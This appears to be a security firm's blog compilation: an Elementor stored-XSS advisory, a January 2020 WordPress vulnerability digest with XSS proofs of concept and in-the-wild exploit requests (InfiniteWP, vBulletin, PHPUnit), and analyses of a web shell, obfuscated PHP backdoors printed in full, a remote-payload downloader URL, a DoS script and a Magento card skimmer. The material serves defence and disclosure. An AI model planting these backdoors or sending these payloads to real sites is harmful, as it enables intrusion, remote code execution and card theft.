Stored XSS in Elementor

Exploitation Level: Easy/Requires Authentication
DREAD Score: 8.0
Vulnerability: Stored XSS
Patched Version: 2.7.6

During a routine audit of WordPress plugins last december, we discovered a Stored XSS vulnerability in the very popular Elementor Page Builder plugin, which powers no less than 3 million+ websites according to the official active installs count.

Are You Affected?

This vulnerability is exploitable on sites which allow users to have accounts and are using Elementor versions lower than 2.7.6, released last December.

A successful attack results in malicious scripts being injected on the plugin’s System Info page. If an administrator visits that page, the malicious Javascript code can execute privileged actions on the victim’s behalf, like creating new administrative accounts or storing backdoors on the site to maintain access.

Indicators of Compromise

This vulnerability can be exploited via the WordPress AJAX endpoint /wp-admin/admin-ajax.php.

Depending on the exploit, website owners may be able to flag attacks in access logs by looking for requests from unknown IPs containing action=elementor_js_log in the request.

Conclusion & Mitigation Steps

To protect against this vulnerability, we strongly encourage users of the Elementor Page Builder to update their site to the latest version available as soon as possible — 2.8.5 at the time of writing.

Users who are unable to update immediately can leverage the Sucuri Firewall or equivalent technology to virtually patch the vulnerability.

Vulnerabilities Digest: January 2020

Fixed Plugins and Vulnerabilities

Plugin Vulnerability Patched Version Installs
InfiniteWP Client Login bypass 1.9.4.5 300000
ListingPro Reflected XSS 2.5.4 13000
Travel Booking Stored XSS 2.7.8.6 7627
Real Estate 7 Stored XSS 2.9.5 7725
Computer Repair Shop Stored XSS 2.0 100
Video on Admin Dashboard Stored XSS 1.1.4 60
Marketo Forms and Tracking CSRF to XSS N/A Closed
Contextual Adminbar Color Stored XSS 0.3 50
Batch-Move Posts Stored XSS N/A Closed
WP Database Reset Database Reset 3.15 80000
Minimal Coming Soon & Maintenance Mode Stored XSS 2.15 80000
Ultimate FAQ Reflected XSS 1.8.29 40000
WP Simple Spreadsheet Fetcher For Google Arbitrary API Update 0.4.8 10
Import Users From CSV with Met Unauthorised Users Export 1.15.1 30000

Highlights for January 2020

Logical vulnerabilities in PHP code are still the most dangerous and challenging to block.

The InfiniteWP Client plugin allows site owners to manage multiple websites from one central server using the InfiniteWP Server and versions < 1.9.4.5 were affected by an authentication bypass.

Exploit Attempts Seen in the Wild

54.39.10.60 -- POST -- /wp-admin/ -- _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsic2l0ZV91cmwiOiJodHRwOlwvXC93ZWVkaW1wYWN0LmNvbVwvd3AtYWRtaW5cLyIsImFjdGlvbiI6ImFkZF9zaXRlIiwicHVibGljX2tleSI6IkxTMHRMUzFDUlVkSlRpQlFWVUpNU1VNZ1MwVlpMUzB0TFMwS1RVbEpRa2xxUVU1Q1oydHhhR3RwUnpsM01FSkJVVVZHUVVGUFEwRlJPRUZ....skipped..RDR1AyOStRcGtkMkRtdmRUR2VkVW5JeGFXNGkzZktDem0yd05pOUJFUTJEdkVyYUVzZ29qVkNodHZXaU5DKzhYMkI2a1wveENPK0FLYWFkUW9kRzZqVGRWQmdOeStnUzRrZElHaWhGZG9TZXRnPT0iLCJ1c2VybmFtZSI6IiIsImFjdGl2YXRpb25fa2V5IjoiNmQxOTllNjRmNjlmN2RjMjM4NGY0NThlMjEzMGU1NTI3NzZlODEzYiJ9LCJpd3BfYWRtaW5fdmVyc2lvbiI6IjIuMTUuNS4zIn0=

Detected IPs

93.95.102.51
188.127.224.35
178.32.47.218
66.228.44.215
173.249.6.22
54.39.10.60
5.196.207.195
84.238.108.177
109.96.171.178
92.119.185.126
82.77.172.62
82.78.189.130
46.253.203.36
82.77.172.62
[...]

Cross Site Scripting

Cross site scripting vulnerabilities were most predominant this month.

Contextual Adminbar Color

Contextual Adminbar Color fixed a low criticality authenticated stored cross site scripting vulnerability caused by the use of the incorrect filtering function. As mentioned in WordPress’ documentation, the function sanitize_text_field should only be used when we want to be permissive with the data we are getting from user input.

PoC
message" onfocus=confirm(123) autofocus="yes"
Patch (version 0.3)
@@ -100,6 +100,6 @@
        if ( get_option( 'contextual-adminbar-color' ) ) {
             $current_settings = get_option( 'contextual-adminbar-color' );
-            $slug = sanitize_text_field( $current_settings['slug'] );
-            $message = sanitize_text_field( $current_settings['message'] );
+            $slug = esc_html( $current_settings['slug'] );
+            $message = esc_attr( $current_settings['message'] );

UltimateFAQ

UltimateFAQ fixed a medium criticality reflected cross site scripting vulnerability caused by a lack of sanitized user input.

PoC
http://site.com/?Display_FAQ=’<svg/onload=alert(123)>;
Patch (version 1.8.30)
@@ -246,5 +246,5 @@
     }
     elseif (isset($_GET['Display_FAQ'])) {
-        $ReturnString .= "<script>var Display_FAQ_ID = '" . $_GET['Display_FAQ'] . "-%Counter_Placeholder%';</script>";
+        $ReturnString .= "<script>var Display_FAQ_ID = '" . intval($_GET['Display_FAQ']) . "-%Counter_Placeholder%';</script>";
         $Display_FAQ_ID = $_GET['Display_FAQ'];
     }

vBulletin

An RCE in vBulletin is still within the scope of attackers.

Exploit Attempts Seen in the Wild

182.161.69.114 -- POST -- /forums.php -- epass=2dmfrb28nu3c6s9j&routestring=ajax/render/widget_php&widgetConfig[code]=die(@md5(HellovBulletin));

Detected IPs

94.191.113.146
66.155.39.56
106.54.229.94
139.186.21.132
119.27.173.75
182.161.69.114
5.101.0.209
190.117.233.114
156.204.11.228
222.254.76.56
42.112.159.255
118.70.26.13
36.76.172.176
160.120.177.106
[...]

A malicious campaign that peaked last year has finally ceased this past month, mostly because some sites have stopped publishing new plugin vulnerability exploits.

PHPUnit

Attackers are still trying to leverage an RCE in PHPUnit.

Unpatched versions of PHPUnit prior to 4.8.28 and 5.6.3 allowed remote attackers to execute arbitrary PHP code via HTTP POST data.

Exploit Attempts Seen in the Wild

POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -- 

PATH / Technologies Scanned

POST -- //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //krisda/stockapi/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //pgd/pgnim/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //Cloudflare-CPanel-7.0.1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //atoms/raphaelfonseca/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //entmain/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //school/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //web.public/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //4walls/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //concrete/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpmailer/PHPMailer/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //sistema/dompdf-master/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //pid/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //digitalscience/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //fcma/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/Util/PHP/eval-stdin.php
POST -- //phpunit/Util/PHP/eval-stdin.php
POST -- //simpeg-code-dinkes/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //test/med-decision/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/Util/PHP/eval-stdin.php
POST -- //go2growApi/payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //wsviamatica/wszool/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[...]

Webshell in Fake Plugin /blnmrpb/ Directory

Our team recently discovered a web shell attempting to hide within a fake WordPress plugin directory wp-content/plugins/blnmrpb/. Inside this fake plugin directory were only two files: index.php and log.txt.

At first glance, the index.php file’s code appears to be very benign. The entire file contains only a single line of actual PHP code ⁠— the rest is simply comments and code tags.

Fake CMSmap WordPress Shell

CMSmap - WordPress Shell is only half right; the file has nothing to do with CMSmap but it is a shell. This single line of PHP uses the include() function to pull the malicious payload from log.txt.

On its own, the log.txt file is not parsed as PHP unless specific changes are made to the .htaccess file or HTTP configuration. When the log.txt file is loaded by include() then the malicious contents within log.txt can be loaded and parsed within the index.php file itself. This allows the index.php file to execute the malicious code from log.txt and allows index.php to look benign by itself.

encoded base64 PHP shell found in log.txt

The bulk of the PHP shell’s code found in log.txt is contained within a long string. Only a portion is shown in the image, however the string actually contains over 60,000 characters. It has been encoded with base64 and then compressed to reduce its overall size.

The log.txt file also conceals the PHP functions used to evaluate the string of text by using hexadecimal values instead of ASCII text:

273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827
Hex => ASCII
';eval(gzuncompress(base64_decode('

After decoding the base64 and uncompressing the text string, it goes from ~60,000 characters to ~147,000 characters — and we are left with raw PHP code which used to load the GUI shell in the browser.

PHP shell loaded in browser for login

When the PHP shell file is loaded in the browser, it prompts the user for a password to access the shell’s functionality. This is a common method of access control for web shells in general.

In this case, the file name doesn’t need to be specified in the URL since it’s been aptly named index.php — the default index file for most HTTP server configurations.

This PHP web shell was written in Chinese, so I've used Google Chrome's translate feature to convert the text into English for easier navigation.

PHP webshell dashboard and features

It offers much of the same features that are prevalent in similar GUI PHP shells and offers a range of functionality when installed in a compromised environment:

  • PHP Code Execution: An attacker can execute PHP code through the shell itself.
  • MySQL Connection: Allows a bad actor to connect to a database to perform various functions like downloading a data dump or deleting content by dropping tables, etc.
  • Port Scanning: Scanning for open port within the server is less likely to be blocked, allowing attackers to pinpoint open ports within the network.
  • GUI File Manager: Facilitates file management similar to FTP or cPanel’s File Manager.
  • Server Information: This feature lists important information about the website’s server environment including type of operating system (e.g uname) and running services.
  • Reverse Shells: Attackers can use this feature to bind a shell to a port from the compromised website's server to a separate, externally controlled server.

Backdoor Found in Compromised WordPress Environment

Our security analyst Ben Martin recently came across a backdoor in a compromised WordPress installation that had been injected into the first line of the theme file ./wp-content/themes/flatsome/header.php.

<?php
if(isset($_POST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_POST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).chr(97).chr(51).chr(102).chr(50).chr(100).chr(99)) 
   { $a = chr(109).chr(110);
     $n1 = chr(102).chr(105).chr(108).chr(101).chr(95);
     $n2 = chr(112).chr(117).chr(116).chr(95);
     $n3 = $n1.$n2.chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
     $b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
     $b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1;
     $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
     $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]);
     $z3 = $b2($_REQUEST[chr(100).chr(49)]);
@$n3($a,$z2);
@include($a);@unlink($a);
$a = chr(47).chr(116).chr(109).chr(112).chr(47).$a;
@$n3($a,$z2);
@include($a);@unlink($a);die();
  } ?>

In this malicious sample, attackers use a well-known method to obfuscate the code called "string concatenation". Through the usage of the PHP function chr(), they store individual decimal values that correlate to the desired ASCII characters — making something like chr(104).chr(105) the equivalent to the ASCII characters for 'hi'.

The beginning of the code has two conditional checks within an if statement that need to be met before the malicious code will be executed:

  1. $_POST parameter with the name asavsdvds must exist in the attacker’s request
  2. $_POST parameter with the name lgkfghdfh must contain a value that whose MD5 hash sum equals e9787adc5271cb0f765294503da3f2dc

When decoded, the following variables show the purpose of this malicious code:

  • $a = mn and later changed to /tmp/mn
  • $n3 = file_put_contents
  • $b2 = base64_decode
  • $z2 = <?php base64_decode($_REQUEST[d1])
  • $n3 = file_put_contents

@$n3($a, $z2);
/*
replacing variables to make it easier to read:
@file_put_contents(mn, base64_decoded value of attacker's 'd1' request)
*/
@include($a);
@unlink($a);

The backdoor uses file_put_contents() to insert PHP code into a file named mn which is delivered to the file through the attacker’s encoded base64 $_REQUEST named d1.

The PHP function include() is used to load the mn file which contains the malicious PHP code delivered by the attacker’s HTTP request. After the mn file coding is included, then it is removed by the PHP function unlink.

The malicious code then repeats the same process — but this time it uses the file location /tmp/mn instead of mn. This is likely done to avoid any possible ownership or permission errors that may occur when using file_put_contents() to generate the file in the attacker’s request.

Since the malicious contents are provided by the attacker in their base64 encoded HTTP request, there’s a number of possibilities as to what PHP code could be getting included in ./wp-content/themes/flatsome/header.php. One example that is easy to demonstrate is passing along a base64 encoded string of the PHP code system(ls);.

Once loaded through the include() function, it will show the attacker the directory file listing.

directory file listing malicious code

The attacker can use a backdoor injection like this to maintain access to the compromised environment to remotely execute code until the injection has been fully removed.

Simple WAF Evasion Backdoor

Our team recently located a malicious PHP file on a compromised website which claims to evade web application firewalls, with the intention of downloading a malicious script to a compromised web-server.

<?php
$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
var_dump($_REQUEST['a']($_REQUEST['b']));
$b($_REQUEST['c'], $a($_REQUEST['d']));
?>

The $a variable contains hexadecimal encoded text for the built-in PHP function file_get_contents which grabs the malicious payload from a third party website.

The $b variable is hexadecimal encoded text for the PHP function file_put_contents, which writes the contents to a file within the compromised environment.

The function var_dump essentially outputs the following _REQUEST variables, which are defined by URL parameters:

a= PHP function
b= function arguments
c= directory path you want to create with the malicious payload
d= location of the malicious payload

An example of these URL parameters in action would be the following URI, where waf.php contains the malicious code.

waf.php?a=system&b=ls+-lhart&c=/var/www/html/wordpress/shell.php&d=https%3A%2F%2Fpastebin.com%2Fraw%2Fh5fBwuqW

example url parameters on a simple waf evasion backdoor

If the website isn’t protected behind a firewall, then the PHP function system is executed along with its argument (in this case ls -lhart) and the malicious payload is downloaded from the defined source to the defined location — all of which is set in the GET request.

This malware tries to be evasive by using the hexadecimal format for its PHP functions of file_get_contents and file_put_contents. More importantly, it allows the attacker to provide the PHP function system through a HTTP GET URL parameter so that it isn’t stored in the file itself. This can help to prevent certain server side malware scanners from detecting it as malicious, since it does nothing without the crafted GET request.

While advertised as a method of bypassing WAFs - it is easily flagged as a RFI/LFI attempt by the Sucuri Firewall.

firewall blocking malicious behavior for backdoor

DoS Tool: 403.php

One of our analysts, Kaushal Bhavsar, found a malicious DoS file within a compromised website’s filesystem under the filename 403.php.

malicious DoS under the filename 403.php

The file attempts to conceal itself from casual viewers by loading a blank white page whenever a visitor loads the file directly in their browser.

To execute malicious code in the file, the visitor needs to pass two URL parameter values, time and host, through a submitted GET request. These two variables store modifiable values for the DoS attack, which the attacker can execute when they submit their request.

The time and host values let the PHP script know how long to run the attack (time) and against whom (host). Once the attacker knows the values they want to use, they can simply submit a GET request with the special parameter values.

Here is an example of a successful attack request shown in the browser, but this request could be sent from any HTTP client.

malicious DoS using GET request with special parameter values

A single website with this malicious file is not much of a threat to most servers and can be quickly blocked, but unprotected servers or clients could face issues if under attack from many different infected websites or host devices (e.g botnet).

The tool performs the attack by flooding UDP packets to the host through a port randomly chosen between 1-65000.

malicious DoS tool performs attack by flooding UDP packets to the host

Magento Skimmer Found Loading from magecart[.]net

We recently came across a simple Magento credit card skimmer found on a compromised website that was loading from the malicious domain magecart[.]net.

The malicious domain was first registered on December 8th, 2019 and is likely a blatant play on the hacker groups known under the collective name MageCart. This renowned group of threat actors regularly targets online shopping carts to steal payment and personal information.

We located the malicious file at ./pub/static/frontend/Infortis/ultimo/en_US/Magento_Checkout/template/billing-address.html on the compromised Magento website.

compromised magento website credit card skimmer iframe

The skimmer loads an iframe from a single line from HTML file onto the checkout page of a compromised Magento website, offering users a legitimate-looking area to input payment purchase information.

checkout form field on compromised magento site

A form field is then used to collect the payment card details and personal information of the victim.

Once all fields have been populated with data, a click event from the form submission triggers the function pay_save to exfiltrate the unencrypted stolen information back to the malicious domain magecart[.]net.

compromised magento website credit card skimmer data exfiltration

Data exfiltration is performed using JavaScript to capture the input from the form’s interface, then collects and condenses the information to the result variable so that it can finally be sent to a PHP script on the malicious magecart[.]net domain.